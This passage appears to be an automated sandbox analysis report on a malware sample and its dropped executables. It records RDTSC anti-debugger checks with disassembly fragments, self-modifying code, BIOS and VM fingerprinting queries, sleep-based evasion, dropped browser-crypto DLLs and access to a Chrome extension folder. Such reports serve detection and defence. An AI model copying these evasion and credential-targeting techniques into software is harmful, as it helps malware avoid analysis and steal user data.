Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 88C3AC second address: 88C428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 nop 0x00000007 jmp 00007F9AD51D02B1h 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F9AD51D02A8h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 jmp 00007F9AD51D02B5h 0x0000002d push 00000000h 0x0000002f mov esi, dword ptr [ebp+122D3A29h] 0x00000035 xchg eax, ebx 0x00000036 jmp 00007F9AD51D02B2h 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push edx 0x0000003f jmp 00007F9AD51D02B0h 0x00000044 pop edx 0x00000045 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 88C428 second address: 88C432 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9AD4C553BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8905DE second address: 8905E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8905E3 second address: 890697 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jl 00007F9AD4C553B6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F9AD4C553B8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 or ebx, dword ptr [ebp+122D39EDh] 0x0000002f mov bx, di 0x00000032 push 00000000h 0x00000034 call 00007F9AD4C553BEh 0x00000039 add dword ptr [ebp+122D2EB9h], ecx 0x0000003f pop ebx 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push edi 0x00000045 call 00007F9AD4C553B8h 0x0000004a pop edi 0x0000004b mov dword ptr [esp+04h], edi 0x0000004f add dword ptr [esp+04h], 00000018h 0x00000057 inc edi 0x00000058 push edi 0x00000059 ret 0x0000005a pop edi 0x0000005b ret 0x0000005c jmp 00007F9AD4C553BFh 0x00000061 xchg eax, esi 0x00000062 push ecx 0x00000063 jmp 00007F9AD4C553C5h 0x00000068 pop ecx 0x00000069 push eax 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007F9AD4C553C7h 0x00000071 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 891686 second address: 8916D8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9AD51D02A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D2CDEh], eax 0x00000011 push 00000000h 0x00000013 js 00007F9AD51D02A6h 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007F9AD51D02A8h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 0000001Bh 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 xchg eax, esi 0x00000036 jmp 00007F9AD51D02ABh 0x0000003b push eax 0x0000003c push ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f push ecx 0x00000040 pop ecx 0x00000041 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8916D8 second address: 8916DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 892775 second address: 89277A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 89368C second address: 893690 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 893690 second address: 893696 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 893696 second address: 89369A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8944F7 second address: 89450E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 js 00007F9AD51D02B4h 0x0000000f push eax 0x00000010 push edx 0x00000011 jl 00007F9AD51D02A6h 0x00000017 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8975FC second address: 89762B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9AD4C553BFh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f jmp 00007F9AD4C553C3h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 89762B second address: 897631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 897631 second address: 897681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebp 0x0000000a call 00007F9AD4C553B8h 0x0000000f pop ebp 0x00000010 mov dword ptr [esp+04h], ebp 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc ebp 0x0000001d push ebp 0x0000001e ret 0x0000001f pop ebp 0x00000020 ret 0x00000021 jmp 00007F9AD4C553C5h 0x00000026 mov edi, dword ptr [ebp+122D23F4h] 0x0000002c push 00000000h 0x0000002e stc 0x0000002f push 00000000h 0x00000031 mov bx, 5001h 0x00000035 push eax 0x00000036 push esi 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 897681 second address: 897685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 898628 second address: 89862C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 89862C second address: 8986C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02B4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F9AD51D02B6h 0x0000000f jmp 00007F9AD51D02B0h 0x00000014 popad 0x00000015 push eax 0x00000016 jmp 00007F9AD51D02B9h 0x0000001b nop 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007F9AD51D02A8h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 push 00000000h 0x00000038 sbb bh, 0000000Dh 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push edx 0x00000040 call 00007F9AD51D02A8h 0x00000045 pop edx 0x00000046 mov dword ptr [esp+04h], edx 0x0000004a add dword ptr [esp+04h], 0000001Bh 0x00000052 inc edx 0x00000053 push edx 0x00000054 ret 0x00000055 pop edx 0x00000056 ret 0x00000057 cmc 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 888997 second address: 88899B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 899685 second address: 899689 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 899689 second address: 89968F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 89968F second address: 8996EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov bh, 4Eh 0x0000000e push 00000000h 0x00000010 sub edi, dword ptr [ebp+122D3AD5h] 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007F9AD51D02A8h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 00000018h 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 jmp 00007F9AD51D02B8h 0x00000037 xchg eax, esi 0x00000038 push ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8996EB second address: 8996EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8996EF second address: 8996FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push esi 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 89A659 second address: 89A65E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 89A65E second address: 89A664 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 89B4CC second address: 89B4D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 89C466 second address: 89C46A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 89C46A second address: 89C4BD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 mov di, si 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F9AD4C553B8h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 push edi 0x00000028 push edx 0x00000029 jmp 00007F9AD4C553BDh 0x0000002e pop edi 0x0000002f pop ebx 0x00000030 push 00000000h 0x00000032 mov edi, dword ptr [ebp+122D349Ah] 0x00000038 xchg eax, esi 0x00000039 pushad 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d pop edx 0x0000003e jng 00007F9AD4C553BCh 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 89C4BD second address: 89C4C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 89E2F8 second address: 89E33F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007F9AD4C553B6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d call 00007F9AD4C553BBh 0x00000012 mov dword ptr [ebp+122D2428h], edi 0x00000018 pop edi 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ebx 0x0000001e call 00007F9AD4C553B8h 0x00000023 pop ebx 0x00000024 mov dword ptr [esp+04h], ebx 0x00000028 add dword ptr [esp+04h], 00000016h 0x00000030 inc ebx 0x00000031 push ebx 0x00000032 ret 0x00000033 pop ebx 0x00000034 ret 0x00000035 push 00000000h 0x00000037 clc 0x00000038 push eax 0x00000039 pushad 0x0000003a push ebx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 89E33F second address: 89E349 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 889EB5 second address: 889EBA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8A2543 second address: 8A2549 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8A2549 second address: 8A254D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8A655D second address: 8A656F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 jmp 00007F9AD51D02ABh 0x0000000c rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8A5E14 second address: 8A5E1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 892866 second address: 892886 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 892886 second address: 892896 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F9AD4C553B6h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 892896 second address: 89289A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 89289A second address: 8928B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9AD4C553C7h 0x0000000d rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8928B9 second address: 8928BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8928BD second address: 892950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 sub dword ptr [ebp+122D3047h], edx 0x0000000e push dword ptr fs:[00000000h] 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007F9AD4C553B8h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f adc edi, 0B4DCE01h 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c mov edi, dword ptr [ebp+122D2ECEh] 0x00000042 mov eax, dword ptr [ebp+122D0C5Dh] 0x00000048 push 00000000h 0x0000004a push ebp 0x0000004b call 00007F9AD4C553B8h 0x00000050 pop ebp 0x00000051 mov dword ptr [esp+04h], ebp 0x00000055 add dword ptr [esp+04h], 0000001Bh 0x0000005d inc ebp 0x0000005e push ebp 0x0000005f ret 0x00000060 pop ebp 0x00000061 ret 0x00000062 sbb edi, 3C8EDCE7h 0x00000068 push FFFFFFFFh 0x0000006a mov dword ptr [ebp+1246C4ADh], edi 0x00000070 nop 0x00000071 jmp 00007F9AD4C553C0h 0x00000076 push eax 0x00000077 push eax 0x00000078 push edx 0x00000079 push ebx 0x0000007a push eax 0x0000007b push edx 0x0000007c rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 892950 second address: 892955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 892955 second address: 89295B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 89295B second address: 89295F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8937A9 second address: 8937AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8937AD second address: 8937C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8937C6 second address: 8937CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 8947EE second address: 894809 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9AD51D02B7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 896854 second address: 896859 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	RDTSC instruction interceptor: First address: 896859 second address: 89685F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 4CFA86 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 67F579 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 6F3BCB instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Special instruction interceptor: First address: 6DEB89 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Special instruction interceptor: First address: 6DEC3C instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Special instruction interceptor: First address: 87D8BB instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Special instruction interceptor: First address: 8A25A1 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Special instruction interceptor: First address: 88D60B instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsGHIJJEGDBF.exe	Special instruction interceptor: First address: 90A878 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D2EB89 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D2EC3C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: ECD8BB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: EF25A1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: EDD60B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F5A878 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Special instruction interceptor: First address: ACDB58 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Special instruction interceptor: First address: ACC563 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Special instruction interceptor: First address: 9274EE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Special instruction interceptor: First address: AD4AA4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Special instruction interceptor: First address: B58588 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe	Special instruction interceptor: First address: 6DFA86 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe	Special instruction interceptor: First address: 88F579 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1005773001\c41846ccfb.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsGHIJJEGDBF.exe

Code function: 22_2_04D4022F rdtsc

22_2_04D4022F

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.3 %

Source: C:\Users\user\Desktop\file.exe TID: 6472	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5012	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6308	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6260	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6200	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5480	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3968	Thread sleep count: 80 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3968	Thread sleep time: -2400000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3968	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe TID: 3184	Thread sleep time: -120000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1005772001\3cb3eea49a.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsGHIJJEGDBF.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAFC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CAFC930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
